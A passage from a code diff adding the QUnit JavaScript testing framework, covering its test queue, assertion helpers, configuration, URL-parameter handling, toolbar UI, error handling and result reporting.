+				( collapsed ? removeClass : addClass )( next, "qunit-collapsed" );
+			});
+
+			addEvent(b, "dblclick", function( e ) {
+				var target = e && e.target ? e.target : window.event.srcElement;
+				if ( target.nodeName.toLowerCase() === "span" || target.nodeName.toLowerCase() === "b" ) {
+					target = target.parentNode;
+				}
+				if ( window.location && target.nodeName.toLowerCase() === "strong" ) {
+					window.location = QUnit.url({ testNumber: test.testNumber });
+				}
+			});
+
+			// `time` initialized at top of scope
+			time = document.createElement( "span" );
+			time.className = "runtime";
+			time.innerHTML = this.runtime + " ms";
+
+			// `li` initialized at top of scope
+			li = id( this.id );
+			li.className = bad ? "fail" : "pass";
+			li.removeChild( li.firstChild );
+			a = li.firstChild;
+			li.appendChild( b );
+			li.appendChild( a );
+			li.appendChild( time );
+			li.appendChild( ol );
+
+		} else {
+			for ( i = 0; i < this.assertions.length; i++ ) {
+				if ( !this.assertions[i].result ) {
+					bad++;
+					config.stats.bad++;
+					config.moduleStats.bad++;
+				}
+			}
+		}
+
+		runLoggingCallbacks( "testDone", QUnit, {
+			name: this.testName,
+			module: this.module,
+			failed: bad,
+			passed: this.assertions.length - bad,
+			total: this.assertions.length,
+			duration: this.runtime
+		});
+
+		QUnit.reset();
+
+		config.current = undefined;
+	},
+
+	queue: function() {
+		var bad,
+			test = this;
+
+		synchronize(function() {
+			test.init();
+		});
+		function run() {
+			// each of these can by async
+			synchronize(function() {
+				test.setup();
+			});
+			synchronize(function() {
+				test.run();
+			});
+			synchronize(function() {
+				test.teardown();
+			});
+			synchronize(function() {
+				test.finish();
+			});
+		}
+
+		// `bad` initialized at top of scope
+		// defer when previous test run passed, if storage is available
+		bad = QUnit.config.reorder && defined.sessionStorage &&
+						+sessionStorage.getItem( "qunit-test-" + this.module + "-" + this.testName );
+
+		if ( bad ) {
+			run();
+		} else {
+			synchronize( run, true );
+		}
+	}
+};
+
+// Root QUnit object.
+// `QUnit` initialized at top of scope
+QUnit = {
+
+	// call on start of module test to prepend name to all tests
+	module: function( name, testEnvironment ) {
+		config.currentModule = name;
+		config.currentModuleTestEnvironment = testEnvironment;
+		config.modules[name] = true;
+	},
+
+	asyncTest: function( testName, expected, callback ) {
+		if ( arguments.length === 2 ) {
+			callback = expected;
+			expected = null;
+		}
+
+		QUnit.test( testName, expected, callback, true );
+	},
+
+	test: function( testName, expected, callback, async ) {
+		var test,
+			nameHtml = "<span class='test-name'>" + escapeText( testName ) + "</span>";
+
+		if ( arguments.length === 2 ) {
+			callback = expected;
+			expected = null;
+		}
+
+		if ( config.currentModule ) {
+			nameHtml = "<span class='module-name'>" + escapeText( config.currentModule ) + "</span>: " + nameHtml;
+		}
+
+		test = new Test({
+			nameHtml: nameHtml,
+			testName: testName,
+			expected: expected,
+			async: async,
+			callback: callback,
+			module: config.currentModule,
+			moduleTestEnvironment: config.currentModuleTestEnvironment,
+			stack: sourceFromStacktrace( 2 )
+		});
+
+		if ( !validTest( test ) ) {
+			return;
+		}
+
+		test.queue();
+	},
+
+	// Specify the number of expected assertions to guarantee that failed test (no assertions are run at all) don't slip through.
+	expect: function( asserts ) {
+		if (arguments.length === 1) {
+			config.current.expected = asserts;
+		} else {
+			return config.current.expected;
+		}
+	},
+
+	start: function( count ) {
+		// QUnit hasn't been initialized yet.
+		// Note: RequireJS (et al) may delay onLoad
+		if ( config.semaphore === undefined ) {
+			QUnit.begin(function() {
+				// This is triggered at the top of QUnit.load, push start() to the event loop, to allow QUnit.load to finish first
+				setTimeout(function() {
+					QUnit.start( count );
+				});
+			});
+			return;
+		}
+
+		config.semaphore -= count || 1;
+		// don't start until equal number of stop-calls
+		if ( config.semaphore > 0 ) {
+			return;
+		}
+		// ignore if start is called more often then stop
+		if ( config.semaphore < 0 ) {
+			config.semaphore = 0;
+			QUnit.pushFailure( "Called start() while already started (QUnit.config.semaphore was 0 already)", null, sourceFromStacktrace(2) );
+			return;
+		}
+		// A slight delay, to avoid any current callbacks
+		if ( defined.setTimeout ) {
+			setTimeout(function() {
+				if ( config.semaphore > 0 ) {
+					return;
+				}
+				if ( config.timeout ) {
+					clearTimeout( config.timeout );
+				}
+
+				config.blocking = false;
+				process( true );
+			}, 13);
+		} else {
+			config.blocking = false;
+			process( true );
+		}
+	},
+
+	stop: function( count ) {
+		config.semaphore += count || 1;
+		config.blocking = true;
+
+		if ( config.testTimeout && defined.setTimeout ) {
+			clearTimeout( config.timeout );
+			config.timeout = setTimeout(function() {
+				QUnit.ok( false, "Test timed out" );
+				config.semaphore = 1;
+				QUnit.start();
+			}, config.testTimeout );
+		}
+	}
+};
+
+// `assert` initialized at top of scope
+// Assert helpers
+// All of these must either call QUnit.push() or manually do:
+// - runLoggingCallbacks( "log", .. );
+// - config.current.assertions.push({ .. });
+// We attach it to the QUnit object *after* we expose the public API,
+// otherwise `assert` will become a global variable in browsers (#341).
+assert = {
+	/**
+	 * Asserts rough true-ish result.
+	 * @name ok
+	 * @function
+	 * @example ok( "asdfasdf".length > 5, "There must be at least 5 chars" );
+	 */
+	ok: function( result, msg ) {
+		if ( !config.current ) {
+			throw new Error( "ok() assertion outside test context, was " + sourceFromStacktrace(2) );
+		}
+		result = !!result;
+		msg = msg || (result ? "okay" : "failed" );
+
+		var source,
+			details = {
+				module: config.current.module,
+				name: config.current.testName,
+				result: result,
+				message: msg
+			};
+
+		msg = "<span class='test-message'>" + escapeText( msg ) + "</span>";
+
+		if ( !result ) {
+			source = sourceFromStacktrace( 2 );
+			if ( source ) {
+				details.source = source;
+				msg += "<table><tr class='test-source'><th>Source: </th><td><pre>" + escapeText( source ) + "</pre></td></tr></table>";
+			}
+		}
+		runLoggingCallbacks( "log", QUnit, details );
+		config.current.assertions.push({
+			result: result,
+			message: msg
+		});
+	},
+
+	/**
+	 * Assert that the first two arguments are equal, with an optional message.
+	 * Prints out both actual and expected values.
+	 * @name equal
+	 * @function
+	 * @example equal( format( "Received {0} bytes.", 2), "Received 2 bytes.", "format() replaces {0} with next argument" );
+	 */
+	equal: function( actual, expected, message ) {
+		/*jshint eqeqeq:false */
+		QUnit.push( expected == actual, actual, expected, message );
+	},
+
+	/**
+	 * @name notEqual
+	 * @function
+	 */
+	notEqual: function( actual, expected, message ) {
+		/*jshint eqeqeq:false */
+		QUnit.push( expected != actual, actual, expected, message );
+	},
+
+	/**
+	 * @name propEqual
+	 * @function
+	 */
+	propEqual: function( actual, expected, message ) {
+		actual = objectValues(actual);
+		expected = objectValues(expected);
+		QUnit.push( QUnit.equiv(actual, expected), actual, expected, message );
+	},
+
+	/**
+	 * @name notPropEqual
+	 * @function
+	 */
+	notPropEqual: function( actual, expected, message ) {
+		actual = objectValues(actual);
+		expected = objectValues(expected);
+		QUnit.push( !QUnit.equiv(actual, expected), actual, expected, message );
+	},
+
+	/**
+	 * @name deepEqual
+	 * @function
+	 */
+	deepEqual: function( actual, expected, message ) {
+		QUnit.push( QUnit.equiv(actual, expected), actual, expected, message );
+	},
+
+	/**
+	 * @name notDeepEqual
+	 * @function
+	 */
+	notDeepEqual: function( actual, expected, message ) {
+		QUnit.push( !QUnit.equiv(actual, expected), actual, expected, message );
+	},
+
+	/**
+	 * @name strictEqual
+	 * @function
+	 */
+	strictEqual: function( actual, expected, message ) {
+		QUnit.push( expected === actual, actual, expected, message );
+	},
+
+	/**
+	 * @name notStrictEqual
+	 * @function
+	 */
+	notStrictEqual: function( actual, expected, message ) {
+		QUnit.push( expected !== actual, actual, expected, message );
+	},
+
+	"throws": function( block, expected, message ) {
+		var actual,
+			expectedOutput = expected,
+			ok = false;
+
+		// 'expected' is optional
+		if ( typeof expected === "string" ) {
+			message = expected;
+			expected = null;
+		}
+
+		config.current.ignoreGlobalErrors = true;
+		try {
+			block.call( config.current.testEnvironment );
+		} catch (e) {
+			actual = e;
+		}
+		config.current.ignoreGlobalErrors = false;
+
+		if ( actual ) {
+			// we don't want to validate thrown error
+			if ( !expected ) {
+				ok = true;
+				expectedOutput = null;
+			// expected is a regexp
+			} else if ( QUnit.objectType( expected ) === "regexp" ) {
+				ok = expected.test( errorString( actual ) );
+			// expected is a constructor
+			} else if ( actual instanceof expected ) {
+				ok = true;
+			// expected is a validation function which returns true is validation passed
+			} else if ( expected.call( {}, actual ) === true ) {
+				expectedOutput = null;
+				ok = true;
+			}
+
+			QUnit.push( ok, actual, expectedOutput, message );
+		} else {
+			QUnit.pushFailure( message, null, "No exception was thrown." );
+		}
+	}
+};
+
+/**
+ * @deprecated since 1.8.0
+ * Kept assertion helpers in root for backwards compatibility.
+ */
+extend( QUnit, assert );
+
+/**
+ * @deprecated since 1.9.0
+ * Kept root "raises()" for backwards compatibility.
+ * (Note that we don't introduce assert.raises).
+ */
+QUnit.raises = assert[ "throws" ];
+
+/**
+ * @deprecated since 1.0.0, replaced with error pushes since 1.3.0
+ * Kept to avoid TypeErrors for undefined methods.
+ */
+QUnit.equals = function() {
+	QUnit.push( false, false, false, "QUnit.equals has been deprecated since 2009 (e88049a0), use QUnit.equal instead" );
+};
+QUnit.same = function() {
+	QUnit.push( false, false, false, "QUnit.same has been deprecated since 2009 (e88049a0), use QUnit.deepEqual instead" );
+};
+
+// We want access to the constructor's prototype
+(function() {
+	function F() {}
+	F.prototype = QUnit;
+	QUnit = new F();
+	// Make F QUnit's constructor so that we can add to the prototype later
+	QUnit.constructor = F;
+}());
+
+/**
+ * Config object: Maintain internal state
+ * Later exposed as QUnit.config
+ * `config` initialized at top of scope
+ */
+config = {
+	// The queue of tests to run
+	queue: [],
+
+	// block until document ready
+	blocking: true,
+
+	// when enabled, show only failing tests
+	// gets persisted through sessionStorage and can be changed in UI via checkbox
+	hidepassed: false,
+
+	// by default, run previously failed tests first
+	// very useful in combination with "Hide passed tests" checked
+	reorder: true,
+
+	// by default, modify document.title when suite is done
+	altertitle: true,
+
+	// when enabled, all tests must call expect()
+	requireExpects: false,
+
+	// add checkboxes that are persisted in the query-string
+	// when enabled, the id is set to `true` as a `QUnit.config` property
+	urlConfig: [
+		{
+			id: "noglobals",
+			label: "Check for Globals",
+			tooltip: "Enabling this will test if any test introduces new properties on the `window` object. Stored as query-strings."
+		},
+		{
+			id: "notrycatch",
+			label: "No try-catch",
+			tooltip: "Enabling this will run tests outside of a try-catch block. Makes debugging exceptions in IE reasonable. Stored as query-strings."
+		}
+	],
+
+	// Set of all modules.
+	modules: {},
+
+	// logging callback queues
+	begin: [],
+	done: [],
+	log: [],
+	testStart: [],
+	testDone: [],
+	moduleStart: [],
+	moduleDone: []
+};
+
+// Export global variables, unless an 'exports' object exists,
+// in that case we assume we're in CommonJS (dealt with on the bottom of the script)
+if ( typeof exports === "undefined" ) {
+	extend( window, QUnit.constructor.prototype );
+
+	// Expose QUnit object
+	window.QUnit = QUnit;
+}
+
+// Initialize more QUnit.config and QUnit.urlParams
+(function() {
+	var i,
+		location = window.location || { search: "", protocol: "file:" },
+		params = location.search.slice( 1 ).split( "&" ),
+		length = params.length,
+		urlParams = {},
+		current;
+
+	if ( params[ 0 ] ) {
+		for ( i = 0; i < length; i++ ) {
+			current = params[ i ].split( "=" );
+			current[ 0 ] = decodeURIComponent( current[ 0 ] );
+			// allow just a key to turn on a flag, e.g., test.html?noglobals
+			current[ 1 ] = current[ 1 ] ? decodeURIComponent( current[ 1 ] ) : true;
+			urlParams[ current[ 0 ] ] = current[ 1 ];
+		}
+	}
+
+	QUnit.urlParams = urlParams;
+
+	// String search anywhere in moduleName+testName
+	config.filter = urlParams.filter;
+
+	// Exact match of the module name
+	config.module = urlParams.module;
+
+	config.testNumber = parseInt( urlParams.testNumber, 10 ) || null;
+
+	// Figure out if we're running the tests from a server or not
+	QUnit.isLocal = location.protocol === "file:";
+}());
+
+// Extend QUnit object,
+// these after set here because they should not be exposed as global functions
+extend( QUnit, {
+	assert: assert,
+
+	config: config,
+
+	// Initialize the configuration options
+	init: function() {
+		extend( config, {
+			stats: { all: 0, bad: 0 },
+			moduleStats: { all: 0, bad: 0 },
+			started: +new Date(),
+			updateRate: 1000,
+			blocking: false,
+			autostart: true,
+			autorun: false,
+			filter: "",
+			queue: [],
+			semaphore: 1
+		});
+
+		var tests, banner, result,
+			qunit = id( "qunit" );
+
+		if ( qunit ) {
+			qunit.innerHTML =
+				"<h1 id='qunit-header'>" + escapeText( document.title ) + "</h1>" +
+				"<h2 id='qunit-banner'></h2>" +
+				"<div id='qunit-testrunner-toolbar'></div>" +
+				"<h2 id='qunit-userAgent'></h2>" +
+				"<ol id='qunit-tests'></ol>";
+		}
+
+		tests = id( "qunit-tests" );
+		banner = id( "qunit-banner" );
+		result = id( "qunit-testresult" );
+
+		if ( tests ) {
+			tests.innerHTML = "";
+		}
+
+		if ( banner ) {
+			banner.className = "";
+		}
+
+		if ( result ) {
+			result.parentNode.removeChild( result );
+		}
+
+		if ( tests ) {
+			result = document.createElement( "p" );
+			result.id = "qunit-testresult";
+			result.className = "result";
+			tests.parentNode.insertBefore( result, tests );
+			result.innerHTML = "Running...<br/>&nbsp;";
+		}
+	},
+
+	// Resets the test setup. Useful for tests that modify the DOM.
+	/*
+	DEPRECATED: Use multiple tests instead of resetting inside a test.
+	Use testStart or testDone for custom cleanup.
+	This method will throw an error in 2.0, and will be removed in 2.1
+	*/
+	reset: function() {
+		var fixture = id( "qunit-fixture" );
+		if ( fixture ) {
+			fixture.innerHTML = config.fixture;
+		}
+	},
+
+	// Trigger an event on an element.
+	// @example triggerEvent( document.body, "click" );
+	triggerEvent: function( elem, type, event ) {
+		if ( document.createEvent ) {
+			event = document.createEvent( "MouseEvents" );
+			event.initMouseEvent(type, true, true, elem.ownerDocument.defaultView,
+				0, 0, 0, 0, 0, false, false, false, false, 0, null);
+
+			elem.dispatchEvent( event );
+		} else if ( elem.fireEvent ) {
+			elem.fireEvent( "on" + type );
+		}
+	},
+
+	// Safe object type checking
+	is: function( type, obj ) {
+		return QUnit.objectType( obj ) === type;
+	},
+
+	objectType: function( obj ) {
+		if ( typeof obj === "undefined" ) {
+				return "undefined";
+		// consider: typeof null === object
+		}
+		if ( obj === null ) {
+				return "null";
+		}
+
+		var match = toString.call( obj ).match(/^\[object\s(.*)\]$/),
+			type = match && match[1] || "";
+
+		switch ( type ) {
+			case "Number":
+				if ( isNaN(obj) ) {
+					return "nan";
+				}
+				return "number";
+			case "String":
+			case "Boolean":
+			case "Array":
+			case "Date":
+			case "RegExp":
+			case "Function":
+				return type.toLowerCase();
+		}
+		if ( typeof obj === "object" ) {
+			return "object";
+		}
+		return undefined;
+	},
+
+	push: function( result, actual, expected, message ) {
+		if ( !config.current ) {
+			throw new Error( "assertion outside test context, was " + sourceFromStacktrace() );
+		}
+
+		var output, source,
+			details = {
+				module: config.current.module,
+				name: config.current.testName,
+				result: result,
+				message: message,
+				actual: actual,
+				expected: expected
+			};
+
+		message = escapeText( message ) || ( result ? "okay" : "failed" );
+		message = "<span class='test-message'>" + message + "</span>";
+		output = message;
+
+		if ( !result ) {
+			expected = escapeText( QUnit.jsDump.parse(expected) );
+			actual = escapeText( QUnit.jsDump.parse(actual) );
+			output += "<table><tr class='test-expected'><th>Expected: </th><td><pre>" + expected + "</pre></td></tr>";
+
+			if ( actual !== expected ) {
+				output += "<tr class='test-actual'><th>Result: </th><td><pre>" + actual + "</pre></td></tr>";
+				output += "<tr class='test-diff'><th>Diff: </th><td><pre>" + QUnit.diff( expected, actual ) + "</pre></td></tr>";
+			}
+
+			source = sourceFromStacktrace();
+
+			if ( source ) {
+				details.source = source;
+				output += "<tr class='test-source'><th>Source: </th><td><pre>" + escapeText( source ) + "</pre></td></tr>";
+			}
+
+			output += "</table>";
+		}
+
+		runLoggingCallbacks( "log", QUnit, details );
+
+		config.current.assertions.push({
+			result: !!result,
+			message: output
+		});
+	},
+
+	pushFailure: function( message, source, actual ) {
+		if ( !config.current ) {
+			throw new Error( "pushFailure() assertion outside test context, was " + sourceFromStacktrace(2) );
+		}
+
+		var output,
+			details = {
+				module: config.current.module,
+				name: config.current.testName,
+				result: false,
+				message: message
+			};
+
+		message = escapeText( message ) || "error";
+		message = "<span class='test-message'>" + message + "</span>";
+		output = message;
+
+		output += "<table>";
+
+		if ( actual ) {
+			output += "<tr class='test-actual'><th>Result: </th><td><pre>" + escapeText( actual ) + "</pre></td></tr>";
+		}
+
+		if ( source ) {
+			details.source = source;
+			output += "<tr class='test-source'><th>Source: </th><td><pre>" + escapeText( source ) + "</pre></td></tr>";
+		}
+
+		output += "</table>";
+
+		runLoggingCallbacks( "log", QUnit, details );
+
+		config.current.assertions.push({
+			result: false,
+			message: output
+		});
+	},
+
+	url: function( params ) {
+		params = extend( extend( {}, QUnit.urlParams ), params );
+		var key,
+			querystring = "?";
+
+		for ( key in params ) {
+			if ( hasOwn.call( params, key ) ) {
+				querystring += encodeURIComponent( key ) + "=" +
+					encodeURIComponent( params[ key ] ) + "&";
+			}
+		}
+		return window.location.protocol + "//" + window.location.host +
+			window.location.pathname + querystring.slice( 0, -1 );
+	},
+
+	extend: extend,
+	id: id,
+	addEvent: addEvent,
+	addClass: addClass,
+	hasClass: hasClass,
+	removeClass: removeClass
+	// load, equiv, jsDump, diff: Attached later
+});
+
+/**
+ * @deprecated: Created for backwards compatibility with test runner that set the hook function
+ * into QUnit.{hook}, instead of invoking it and passing the hook function.
+ * QUnit.constructor is set to the empty F() above so that we can add to it's prototype here.
+ * Doing this allows us to tell if the following methods have been overwritten on the actual
+ * QUnit object.
+ */
+extend( QUnit.constructor.prototype, {
+
+	// Logging callbacks; all receive a single argument with the listed properties
+	// run test/logs.html for any related changes
+	begin: registerLoggingCallback( "begin" ),
+
+	// done: { failed, passed, total, runtime }
+	done: registerLoggingCallback( "done" ),
+
+	// log: { result, actual, expected, message }
+	log: registerLoggingCallback( "log" ),
+
+	// testStart: { name }
+	testStart: registerLoggingCallback( "testStart" ),
+
+	// testDone: { name, failed, passed, total, duration }
+	testDone: registerLoggingCallback( "testDone" ),
+
+	// moduleStart: { name }
+	moduleStart: registerLoggingCallback( "moduleStart" ),
+
+	// moduleDone: { name, failed, passed, total }
+	moduleDone: registerLoggingCallback( "moduleDone" )
+});
+
+if ( typeof document === "undefined" || document.readyState === "complete" ) {
+	config.autorun = true;
+}
+
+QUnit.load = function() {
+	runLoggingCallbacks( "begin", QUnit, {} );
+
+	// Initialize the config, saving the execution queue
+	var banner, filter, i, label, len, main, ol, toolbar, userAgent, val,
+		urlConfigCheckboxesContainer, urlConfigCheckboxes, moduleFilter,
+		numModules = 0,
+		moduleNames = [],
+		moduleFilterHtml = "",
+		urlConfigHtml = "",
+		oldconfig = extend( {}, config );
+
+	QUnit.init();
+	extend(config, oldconfig);
+
+	config.blocking = false;
+
+	len = config.urlConfig.length;
+
+	for ( i = 0; i < len; i++ ) {
+		val = config.urlConfig[i];
+		if ( typeof val === "string" ) {
+			val = {
+				id: val,
+				label: val,
+				tooltip: "[no tooltip available]"
+			};
+		}
+		config[ val.id ] = QUnit.urlParams[ val.id ];
+		urlConfigHtml += "<input id='qunit-urlconfig-" + escapeText( val.id ) +
+			"' name='" + escapeText( val.id ) +
+			"' type='checkbox'" + ( config[ val.id ] ? " checked='checked'" : "" ) +
+			" title='" + escapeText( val.tooltip ) +
+			"'><label for='qunit-urlconfig-" + escapeText( val.id ) +
+			"' title='" + escapeText( val.tooltip ) + "'>" + val.label + "</label>";
+	}
+	for ( i in config.modules ) {
+		if ( config.modules.hasOwnProperty( i ) ) {
+			moduleNames.push(i);
+		}
+	}
+	numModules = moduleNames.length;
+	moduleNames.sort( function( a, b ) {
+		return a.localeCompare( b );
+	});
+	moduleFilterHtml += "<label for='qunit-modulefilter'>Module: </label><select id='qunit-modulefilter' name='modulefilter'><option value='' " +
+		( config.module === undefined  ? "selected='selected'" : "" ) +
+		">< All Modules ></option>";
+
+
+	for ( i = 0; i < numModules; i++) {
+			moduleFilterHtml += "<option value='" + escapeText( encodeURIComponent(moduleNames[i]) ) + "' " +
+				( config.module === moduleNames[i] ? "selected='selected'" : "" ) +
+				">" + escapeText(moduleNames[i]) + "</option>";
+	}
+	moduleFilterHtml += "</select>";
+
+	// `userAgent` initialized at top of scope
+	userAgent = id( "qunit-userAgent" );
+	if ( userAgent ) {
+		userAgent.innerHTML = navigator.userAgent;
+	}
+
+	// `banner` initialized at top of scope
+	banner = id( "qunit-header" );
+	if ( banner ) {
+		banner.innerHTML = "<a href='" + QUnit.url({ filter: undefined, module: undefined, testNumber: undefined }) + "'>" + banner.innerHTML + "</a> ";
+	}
+
+	// `toolbar` initialized at top of scope
+	toolbar = id( "qunit-testrunner-toolbar" );
+	if ( toolbar ) {
+		// `filter` initialized at top of scope
+		filter = document.createElement( "input" );
+		filter.type = "checkbox";
+		filter.id = "qunit-filter-pass";
+
+		addEvent( filter, "click", function() {
+			var tmp,
+				ol = document.getElementById( "qunit-tests" );
+
+			if ( filter.checked ) {
+				ol.className = ol.className + " hidepass";
+			} else {
+				tmp = " " + ol.className.replace( /[\n\t\r]/g, " " ) + " ";
+				ol.className = tmp.replace( / hidepass /, " " );
+			}
+			if ( defined.sessionStorage ) {
+				if (filter.checked) {
+					sessionStorage.setItem( "qunit-filter-passed-tests", "true" );
+				} else {
+					sessionStorage.removeItem( "qunit-filter-passed-tests" );
+				}
+			}
+		});
+
+		if ( config.hidepassed || defined.sessionStorage && sessionStorage.getItem( "qunit-filter-passed-tests" ) ) {
+			filter.checked = true;
+			// `ol` initialized at top of scope
+			ol = document.getElementById( "qunit-tests" );
+			ol.className = ol.className + " hidepass";
+		}
+		toolbar.appendChild( filter );
+
+		// `label` initialized at top of scope
+		label = document.createElement( "label" );
+		label.setAttribute( "for", "qunit-filter-pass" );
+		label.setAttribute( "title", "Only show tests and assertions that fail. Stored in sessionStorage." );
+		label.innerHTML = "Hide passed tests";
+		toolbar.appendChild( label );
+
+		urlConfigCheckboxesContainer = document.createElement("span");
+		urlConfigCheckboxesContainer.innerHTML = urlConfigHtml;
+		urlConfigCheckboxes = urlConfigCheckboxesContainer.getElementsByTagName("input");
+		// For oldIE support:
+		// * Add handlers to the individual elements instead of the container
+		// * Use "click" instead of "change"
+		// * Fallback from event.target to event.srcElement
+		addEvents( urlConfigCheckboxes, "click", function( event ) {
+			var params = {},
+				target = event.target || event.srcElement;
+			params[ target.name ] = target.checked ? true : undefined;
+			window.location = QUnit.url( params );
+		});
+		toolbar.appendChild( urlConfigCheckboxesContainer );
+
+		if (numModules > 1) {
+			moduleFilter = document.createElement( "span" );
+			moduleFilter.setAttribute( "id", "qunit-modulefilter-container" );
+			moduleFilter.innerHTML = moduleFilterHtml;
+			addEvent( moduleFilter.lastChild, "change", function() {
+				var selectBox = moduleFilter.getElementsByTagName("select")[0],
+					selectedModule = decodeURIComponent(selectBox.options[selectBox.selectedIndex].value);
+
+				window.location = QUnit.url({
+					module: ( selectedModule === "" ) ? undefined : selectedModule,
+					// Remove any existing filters
+					filter: undefined,
+					testNumber: undefined
+				});
+			});
+			toolbar.appendChild(moduleFilter);
+		}
+	}
+
+	// `main` initialized at top of scope
+	main = id( "qunit-fixture" );
+	if ( main ) {
+		config.fixture = main.innerHTML;
+	}
+
+	if ( config.autostart ) {
+		QUnit.start();
+	}
+};
+
+addEvent( window, "load", QUnit.load );
+
+// `onErrorFnPrev` initialized at top of scope
+// Preserve other handlers
+onErrorFnPrev = window.onerror;
+
+// Cover uncaught exceptions
+// Returning true will suppress the default browser handler,
+// returning false will let it run.
+window.onerror = function ( error, filePath, linerNr ) {
+	var ret = false;
+	if ( onErrorFnPrev ) {
+		ret = onErrorFnPrev( error, filePath, linerNr );
+	}
+
+	// Treat return value as window.onerror itself does,
+	// Only do our handling if not suppressed.
+	if ( ret !== true ) {
+		if ( QUnit.config.current ) {
+			if ( QUnit.config.current.ignoreGlobalErrors ) {
+				return true;
+			}
+			QUnit.pushFailure( error, filePath + ":" + linerNr );
+		} else {
+			QUnit.test( "global failure", extend( function() {
+				QUnit.pushFailure( error, filePath + ":" + linerNr );
+			}, { validTest: validTest } ) );
+		}
+		return false;
+	}
+
+	return ret;
+};
+
+function done() {
+	config.autorun = true;
+
+	// Log the last module results
+	if ( config.currentModule ) {
+		runLoggingCallbacks( "moduleDone", QUnit, {
+			name: config.currentModule,
+			failed: config.moduleStats.bad,
+			passed: config.moduleStats.all - config.moduleStats.bad,
+			total: config.moduleStats.all
+		});
+	}
+	delete config.previousModule;
+
+	var i, key,
+		banner = id( "qunit-banner" ),
+		tests = id( "qunit-tests" ),
+		runtime = +new Date() - config.started,
+		passed = config.stats.all - config.stats.bad,
+		html = [
+			"Tests completed in ",
+			runtime,
+			" milliseconds.<br/>",
+			"<span class='passed'>",
+			passed,
+			"</span> assertions of <span class='total'>",
+			config.stats.all,
+			"</span> passed, <span class='failed'>",
+			config.stats.bad,
+			"</span> failed."
+		].join( "" );
+
+	if ( banner ) {
+		banner.className = ( config.stats.bad ? "qunit-fail" : "qunit-pass" );
+	}
+
+	if ( tests ) {
+		id( "qunit-testresult" ).innerHTML = html;
+	}
+
+	if ( config.altertitle && typeof document !== "undefined" && document.title ) {
+		// show ✖ for good, ✔ for bad suite result in title
+		// use escape sequences in case file gets loaded with non-utf-8-charset
+		document.title = [
+			( config.stats.bad ? "\u2716" : "\u2714" ),
+			document.title.replace( /^[\u2714\u2716] /i, "" )
+		].join( " " );
+	}
+
+	// clear own sessionStorage items if all tests passed
+	if ( config.reorder && defined.sessionStorage && config.stats.bad === 0 ) {
+		// `key` & `i` initialized at top of scope
+		for ( i = 0; i < sessionStorage.length; i++ ) {
+			key = sessionStorage.key( i++ );
+			if ( key.indexOf( "qunit-test-" ) === 0 ) {
+				sessionStorage.removeItem( key );
+			}
+		}
+	}
+
+	// scroll back to top to show results
+	if ( window.scrollTo ) {
+		window.scrollTo(0, 0);
+	}
+
+	runLoggingCallbacks( "done", QUnit, {
+		failed: config.stats.bad,
+		passed: passed,
+		total: config.stats.all,
+		runtime: runtime
+	});
+}
+
+/** @return Boolean: true if this test should be ran */
+function validTest( test ) {
+	var include,
+		filter = config.filter && config.filter.toLowerCase(),
+		module = config.module && config.module.toLowerCase(),
+		fullName = (test.module + ": " + test.testName).toLowerCase();
+
+	// Internally-generated tests are always valid
+	if ( test.callback && test.callback.validTest === validTest ) {
+		delete test.callback.validTest;
+		return true;
+	}
+
+	if ( config.testNumber ) {
+		return test.testNumber === config.testNumber;
+	}
+
+	if ( module && ( !test.module || test.module.toLowerCase() !== module ) ) {
+		return false;
+	}
+
+	if ( !filter ) {
+		return true;
+	}
+
+	include = filter.charAt( 0 ) !== "!";
+	if ( !include ) {
+		filter = filter.slice( 1 );
+	}
+
+	// If the filter matches, we need to honour include
+	if ( fullName.indexOf( filter ) !== -1 ) {
+		return include;
+	}
+
+	// Otherwise, do the opposite
+	return !include;
+}
+
+// so far supports only Firefox, Chrome and Opera (buggy), Safari (for real exceptions)
+// Later Safari and IE10 are supposed to support error.stack as well
+// See also https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Error/Stack
+function extractStacktrace( e, offset ) {
+	offset = offset === undefined ? 3 : offset;
+
+	var stack, include, i;
+
+	if ( e.stacktrace ) {
+		// Opera
+		return e.stacktrace.split( "\n" )[ offset + 3 ];
+	} else if ( e.stack ) {
+		// Firefox, Chrome
+		stack = e.stack.split( "\n" );
+		if (/^error$/i.test( stack[0] ) ) {
+			stack.shift();
+		}
+		if ( fileName ) {
+			include = [];
+			for ( i = offset; i < stack.length; i++ ) {
+				if ( stack[ i ].indexOf( fileName ) !== -1 ) {
+					break;
+				}
+				include.push( stack[ i ] );
+			}
+			if ( include.length ) {
+				return include.join( "\n" );
+			}
+		}
+		return stack[ offset ];
+	} else if ( e.sourceURL ) {
+		// Safari, PhantomJS
+		// hopefully one day Safari provides actual stacktraces
+		// exclude useless self-reference for generated Error objects
+		if ( /qunit.js$/.test( e.sourceURL ) ) {
+			return;
+		}
+		// for actual exceptions, this is useful
+		return e.sourceURL + ":" + e.line;
+	}
+}
+function sourceFromStacktrace( offset ) {
+	try {
+		throw new Error();
+	} catch ( e ) {
+		return extractStacktrace( e, offset );
+	}
+}
+
+/**
+ * Escape text for attribute or text content.
+ */
+function escapeText( s ) {
+	if ( !s ) {
+		return "";
+	}
+	s = s + "";
+	// Both single quotes and double quotes (for attributes)
+	return s.replace( /['"<>&]/g, function( s ) {
+		switch( s ) {
+			case "'":
+				return "&#039;";
+			case "\"":
+				return "&quot;";
+			case "<":
+				return "&lt;";
+			case ">":
+				return "&gt;";
+			case "&":
+				return "&amp;";
+		}
+	});
+}
+
+function synchronize( callback, last ) {
+	config.queue.push( callback );
+
+	if ( config.autorun && !config.blocking ) {
+		process( last );
+	}
+}
+
+function process( last ) {
+	function next() {
+		process( last );
+	}
+	var start = new Date().getTime();
+	config.depth = config.depth ? config.depth + 1 : 1;
+
+	while ( config.queue.length && !config.blocking ) {
+		if ( !defined.setTimeout || config.updateRate <= 0 || ( ( new Date().getTime() - start ) < config.updateRate ) ) {
+			config.queue.shift()();
+		} else {
+			setTimeout( next, 13 );
+			break;
+		}
+	}
+	config.depth--;
+	if ( last && !config.blocking && !config.queue.length && config.depth === 0 ) {
+		done();
+	}
+}
+
+function saveGlobal() {
+	config.pollution = [];
+
+	if ( config.noglobals ) {
+		for ( var key in window ) {
+			if ( hasOwn.call( window, key ) ) {
+				// in Opera sometimes DOM element ids show up here, ignore them
+				if ( /^qunit-test-output/.test( key ) ) {
+					continue;
+				}
+				config.pollution.push( key );
+			}
+		}
+	}
+}
+
+function checkPollution() {
+	var newGlobals,
+		deletedGlobals,
+		old = config.pollution;
+
+	saveGlobal();
+
+	newGlobals = diff( config.pollution, old );
+	if ( newGlobals.length > 0 ) {
